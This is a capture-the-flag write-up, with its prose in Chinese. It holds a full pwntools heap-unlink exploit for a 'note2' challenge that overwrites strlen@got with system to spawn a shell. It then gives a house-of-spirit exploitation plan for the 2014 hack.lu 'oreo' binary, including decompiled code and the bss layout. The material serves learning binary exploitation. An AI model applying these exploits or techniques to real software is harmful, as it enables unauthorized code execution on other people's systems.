#!/usr/bin/python3
from pwn import *
p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")
context.log_level="debug"
strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]
def new(content,length:int):
p.recvuntil(b'option--->>')
p.sendline(b"1")
p.recvuntil(b"Input the length of the note content:(less than 128)\n")
p.sendline(str(length).encode())
p.recvuntil(b"Input the note content:\n")
p.sendline(content)
pass
def show(idx:int):
p.recvuntil(b'option--->>')
p.sendline(b"2")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def edit(idx:int,mode:int,content):
p.recvuntil(b'option--->>')
p.sendline(b"3")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
p.sendline(str(mode).encode())
p.recvuntil(b"TheNewContents:")
p.sendline(content)
pass
def delete(idx:int):
p.recvuntil(b'option--->>')
p.sendline(b"4")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def exp():
name=b"aaaa"
address=b"bbbb"
p.recvuntil(b"Input your name:\n")
p.sendline(name)
p.recvuntil(b"Input your address:\n")
p.sendline(address)
#1 unlink
list_head = 0x602120
fake_fd = list_head-0x18
fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
#payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
new(payload1,0x40) #idx0
new(b"b"*0x8,0) #idx1
new(b"c"*0x10,0x80) #idx2
delete(1) # del idx1
payload2=b"b"*0x10+p64(0x60)+p64(0x90)
new(payload2,0) #idx3
delete(2)
#2 rewrite&leak
payload3=b"d"*0x18+p64(strlen_got)
edit(0,1,payload3)
show(0)
#gdb.attach(p)
p.recvuntil(b"Content is ")
strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
print("strlen@got: ",hex(strlen_got))
print("strlen: ",hex(strlen))
print("system: ",hex(system))
#3 edit strlen@got to system
payload4=p64(system)
edit(0,1,payload4)
edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
#getshell
p.interactive()
if __name__=="__main__":
exp()
$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
unsigned int message()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(message_ptr, 128, stdin);
line_end_check(message_ptr);
return __readgsdword(0x14u) ^ v0;
}
5. Show current stats
unsigned int show_state()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("======= Status =======");
printf("New: %u times\n", Rifle_count);
printf("Orders: %u times\n", Order_count);
if ( *message_ptr )
printf("Order Message: %s\n", message_ptr);
puts("======================");
return __readgsdword(0x14u) ^ v1;
}
6. menu
unsigned int menu()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( get_choice() )
{
case 1:
add_new();
break;
case 2:
show_added();
break;
case 3:
order_selected();
break;
case 4:
leave_message();
break;
case 5:
show_state();
break;
case 6:
return __readgsdword(0x14u) ^ v1;
default:
continue;
}
}
}
一条new rifle的记录结构如下:
00000000 rifle struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends
在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。
观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。
同时我们发现bss段的结构如下:
.bss:0804A288 curr_chunk_ptr dd ?
.bss:0804A288
.bss:0804A28C align 20h
.bss:0804A2A0 Order_count dd ?
.bss:0804A2A0
.bss:0804A2A4 Rifle_count dd ? add_new+C5↑r
.bss:0804A2A4
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr dd ?
.bss:0804A2A8
.bss:0804A2AC align 20h
.bss:0804A2C0 message_area db ? ;
.bss:0804A2C1 db ? ;
.bss:0804A2C2 db ? ;
.bss:0804A2C3 db ? ;
.bss:0804A2C4 db ? ;
.bss:0804A2C5 db ? ;
.bss:0804A2C6 db ? ;
.bss:0804A2C7 db ? ;
.bss:0804A2C8 db ? ;
.bss:0804A2C9 db ? ;
.bss:0804A2CA db ? ;
.bss:0804A2CB db ? ;
.bss:0804A2CC db ? ;
.bss:0804A2CD db ? ;
.bss:0804A2CE db ? ;
.bss:0804A2CF db ? ;
......
Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写。
由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。
确定exp思路
(泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
(覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
(getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !